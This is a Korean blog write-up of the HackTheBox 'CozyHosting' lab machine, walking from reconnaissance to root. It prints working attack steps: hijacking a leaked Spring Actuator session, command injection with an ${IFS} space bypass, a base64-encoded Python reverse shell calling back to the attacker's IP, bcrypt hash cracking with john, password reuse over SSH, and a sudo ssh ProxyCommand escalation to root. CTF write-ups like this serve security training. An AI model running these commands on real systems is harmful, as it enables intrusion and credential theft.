[HTB] CozyHosting

쥬스몬·2023년 9월 5일
0

HackTheBox

목록 보기
32/37
post-thumbnail

HackTheBox 오픈베타 시즌2의 마지막 쉬움 난이도 머신이다. 리눅스 기반의 머신으로 해당 머신의 풀이 과정을 기록한다.

Recon

Port Scan

이번 머신도 쉬움 난이도라 그런지 포트 구성이 단순한다. 이번 머신도 편의를 위해 발급받은 머신의 IP를 hosts 파일에 cozyhosting.htb 으로 등록했다.

Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-03 15:29 KST
Nmap scan report for cozyhosting.htb (10.129.137.76)
Host is up (0.22s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 4356bca7f2ec46ddc10f83304c2caaa8 (ECDSA)
|_  256 6f7a6c3fa68de27595d47b71ac4f7e42 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Cozy Hosting - Home
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.51 seconds

WEB

Subdomain

cozyhosting.htb에 서브 도메인을 스캔해보았으나 발견된 도메인은 없었다.

		/'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.5.0
________________________________________________

 :: Method           : GET
 :: URL              : http://cozyhosting.htb
 :: Wordlist         : FUZZ: /Users/junsoo.jo/Desktop/Tools/WordList/vhost-wordlist.txt
 :: Header           : Host: FUZZ.cozyhosting.htb
 :: Output file      : vhost.cozyhosting.htb.csv
 :: File format      : csv
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 178
 :: Filter           : Response words: 0
________________________________________________

:: Progress: [20575/20575] :: Job [1/1] :: 371 req/sec :: Duration: [0:00:49] :: Errors: 0 ::

Fuzz Dir

그렇다면 cozyhosting.htb의 디렉터리를 스캔한다. 가장 먼저 일반적인 단어목록을 통해 / 아래 페이지를 스캔했으나 일반적으로 브라우저를 통해 확인할 수 있는 경로만 확인된다.

		/'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.5.0
________________________________________________

 :: Method           : GET
 :: URL              : http://cozyhosting.htb/FUZZ
 :: Wordlist         : FUZZ: /Users/junsoo.jo/Desktop/Tools/WordList/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

logout                  [Status: 204, Size: 0, Words: 1, Lines: 1, Duration: 280ms]
admin                   [Status: 401, Size: 97, Words: 1, Lines: 1, Duration: 423ms]
login                   [Status: 200, Size: 4431, Words: 1718, Lines: 97, Duration: 524ms]
error                   [Status: 500, Size: 73, Words: 1, Lines: 1, Duration: 216ms]
index                   [Status: 200, Size: 12706, Words: 4263, Lines: 285, Duration: 253ms]

다음으로 노출되면 민감한 파일 리스트들을 스캔하니 Spring Boot Actuator 관련 경로들이 200OK가 떨어지는것을 볼 수 있다.

		/'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.5.0
________________________________________________

 :: Method           : GET
 :: URL              : http://cozyhosting.htb/FUZZ
 :: Wordlist         : FUZZ: /Users/junsoo.jo/Desktop/Tools/WordList/dangerousFile.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

actuator                [Status: 200, Size: 634, Words: 1, Lines: 1, Duration: 275ms]
actuator/env            [Status: 200, Size: 4957, Words: 120, Lines: 1, Duration: 295ms]
actuator/mappings       [Status: 200, Size: 9938, Words: 108, Lines: 1, Duration: 307ms]
admin                   [Status: 401, Size: 97, Words: 1, Lines: 1, Duration: 219ms]
axis//happyaxis.jsp     [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 213ms]
axis2-web//HappyAxis.jsp [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 215ms]
axis2//axis2-web/HappyAxis.jsp [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 219ms]
error                   [Status: 500, Size: 73, Words: 1, Lines: 1, Duration: 213ms]
examples/jsp/%252e%252e/%252e%252e/manager/html/ [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 213ms]
extjs/resources//charts.swf [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 218ms]
jboss-net//happyaxis.jsp [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 210ms]
login                   [Status: 200, Size: 4431, Words: 1718, Lines: 97, Duration: 212ms]
logout                  [Status: 204, Size: 0, Words: 1, Lines: 1, Duration: 210ms]

위에서 확인한 actuator 경로에 curl을 찔러 내부 정보를 획득할 수 있다.

/actuator

{
  "_links": {
    "self": {
      "href": "http://localhost:8080/actuator",
      "templated": false
    },
    "sessions": {
      "href": "http://localhost:8080/actuator/sessions",
      "templated": false
    },
    "beans": {
      "href": "http://localhost:8080/actuator/beans",
      "templated": false
    },
    "health": {
      "href": "http://localhost:8080/actuator/health",
      "templated": false
    },
    "health-path": {
      "href": "http://localhost:8080/actuator/health/{*path}",
      "templated": true
    },
    "env": {
      "href": "http://localhost:8080/actuator/env",
      "templated": false
    },
    "env-toMatch": {
      "href": "http://localhost:8080/actuator/env/{toMatch}",
      "templated": true
    },
    "mappings": {
      "href": "http://localhost:8080/actuator/mappings",
      "templated": false
    }
  }
}

/actuator/sessions

/actuactor/sessions 에서 로그인 세션으로 파악되는 kanderson의 정보를 획득할 수 있다.

{
  "2219B63449FF6000866FBFEB03E0243F": "kanderson"
}

/admin

디렉터리 스캔에서 확인할 수 있었던 /admin 페이지는 로그인 이후 발급된 세션이 있어야지만 접근이 가능한것으로 보였으며, 위 세션을 쿠키에 적용하여 관리자 페이지에 접근이 가능했다.

Foothold

Command Injection

/admin에서 확인된 페이지 중 아래와 같은 기능이 존재한다. Hostname과 Username을 입력받고 해당 호스트의 해당 유저가 발급받은 키가 박혀있을 경우 무엇인가 진행해주는 것으로 추정된다.

공격자 IP를 호스트네임으로 삽입 시 공격자 PC에 어떠한 SSH 요청도 없었으나 에러 페이지로 리다이렉트 시키며 error 파라미터에 에러 내용이 담긴다.

ssh: connect to host 10.10.14.52 port 22: Connection timed out

host 파라미터에 localhost입력 시 아래와 같은 에러가 발생한다.

Host key verification failed.

아래 게시글을 참고하여 스프링 부트 화이트라벨에 대한 에러 유발을 진행하면서 ${7*7} 과 같은 페이로드를 통해 SSTI가 가능하다는것도 알게되었다.

  1. Spring Boot RCE
  2. SpEL(Spring Expression Language) Injection & Spring boot RCE

의도하진 않았지만 확인을 위해 페이로드를 username에 삽입 시 치환 에러가 발생하면서 백앤드 로직의 일부로 보이는 bash 에러를 확인된다.

/bin/bash: line 1: juicemon${7*7}@127.0.0.1: bad substitution

bash에 사용자 입력값이 들어가니 아래와 같이 페이로드 전달 시 코드 실행이 가능했다.

ssh: Could not resolve hostname uid=1001(app): Name or service not known

조금 더 명령어 확인을 하기위해 ping test를 진행했으나, username 파라미터 내 공백이 들어가면 안된다는 에러 발생하는것을 볼 수 있다.

조금 서칭해보니 아래와 같은 스택오버플로우 질문에 답변으로 ${IFS} 라는 변수를 사용할 수 있다고한다.

username 파라미터에 다음과 같은 값을 삽입하니 ICMP Request가 오는것을 확인할 수 있다.

`ping${IFS}10.10.14.52`

User

App

위에서 Command Injection이 가능했고 공백 체크 로직이 존재했으나 시스템 환경 변수를 삽입하여 우회가 가능했다. 이제 리버스 커넥션을 맺는 커멘드를 전달한다.

echo${IFS}cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjUyIiw5MDAxKSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigiYmFzaCIpJw==|base64${IFS}-d|bash
% nc -lvn 9001
app@cozyhosting:/app$ id
id
uid=1001(app) gid=1001(app) groups=1001(app)

josh

app 계정의 쉘에 접근하여 정찰하면서 실행중인 프로세스를 확인해보니 pid 993으로 동작중인 프로세스를 확인할 수 있었다.

app          993       1  1 07:49 ?        00:01:32 /usr/bin/java -jar cloudhost....

cmdline을 확인해보니 cloudhosting-0.0.1.jar 로 확인된다.

app@cozyhosting:/home$ cat /proc/993/cmdline
cat /proc/993/cmdline
/usr/bin/java -jar cloudhosting-0.0.1.jar

app@cozyhosting:/usr/bin$ find / -name "cloudhosting-0.0.1.jar" 2>/dev/null
/app/cloudhosting-0.0.1.jar

해당 jar 파일을 공격자 PC로 옮겨 jadx-gui를 이용하여 분석을 진행한다.

postgresql

소스코드 패키지 내 application.properties 에서 로컬 데이터베이스로 사용중인 postgresql의 계정 정보를 확인할 수 있었다.

server.address=127.0.0.1
server.servlet.session.timeout=5m
management.endpoints.web.exposure.include=health,beans,env,sessions,mappings
management.endpoint.sessions.enabled = true
spring.datasource.driver-class-name=org.postgresql.Driver
spring.jpa.database-platform=org.hibernate.dialect.PostgreSQLDialect
spring.jpa.hibernate.ddl-auto=none
spring.jpa.database=POSTGRESQL
spring.datasource.platform=postgres
spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting
spring.datasource.username=postgres
spring.datasource.password=안알려줌

postgresql - tables

			List of relations
 Schema | Name  | Type  |  Owner
--------+-------+-------+----------
 public | hosts | table | postgres
 public | users | table | postgres

postgresql - users table

users 테이블에 kandersonadmin 계정의 패스워드 해시를 확인할 수 있었다.

name    |                           password                           | role

-----------+--------------------------------------------------------------+-----
--
 kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zzz | User
 admin     | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVOzzz | Admin

john the ripper

john을 이용해서 탈취한 2개의 해쉬를 크랙 시도했으며, admin 계정의 패스워드 해시가 크랙되었다.

┌──(root㉿kali)-[~/Desktop/cozyhosting]
└─# john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
안알려줌 (admin)

/etc/passwd 나 App의 쉘에서 홈디렉터리에 접근해도 확인할 수 있는 일반 계정은 josh 뿐이다. 위에서 탈취한 admin 패스워드를 통해 josh 계정에 접속 시도하니 성공적으로 SSH 연결이 가능했다.

% ssh josh@10.129.135.236
josh@10.129.135.236's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-82-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Sep  5 01:08:13 AM UTC 2023

  System load:           0.12841796875
  Usage of /:            54.5% of 5.42GB
  Memory usage:          18%
  Swap usage:            0%
  Processes:             265
  Users logged in:       0
  IPv4 address for eth0: 10.129.135.236
  IPv6 address for eth0: dead:beef::250:56ff:feb0:463f


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


Last login: Tue Aug 29 09:03:34 2023 from 10.10.14.41
josh@cozyhosting:~$

root

josh 계정에서 sudo 권한을 확인하니 매우 쉬운 Privilege Esculation이 가능할 것같은 명령어가 권한으로 부여되어있다.

josh@cozyhosting:~$ sudo -l
[sudo] password for josh:
Matching Defaults entries for josh on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User josh may run the following commands on localhost:
    (root) /usr/bin/ssh *

GTFOBins - SSH(SUDO)를 참고하여 손쉽게 루트 권한을 획득할 수 있었다.

josh@cozyhosting:~$ sudo /usr/bin/ssh -o ProxyCommand=';sh 0<&2 1>&2' x
# id
uid=0(root) gid=0(root) groups=0(root)

profile
블로그 이사 (https://juicemon-code.github.io/)

0개의 댓글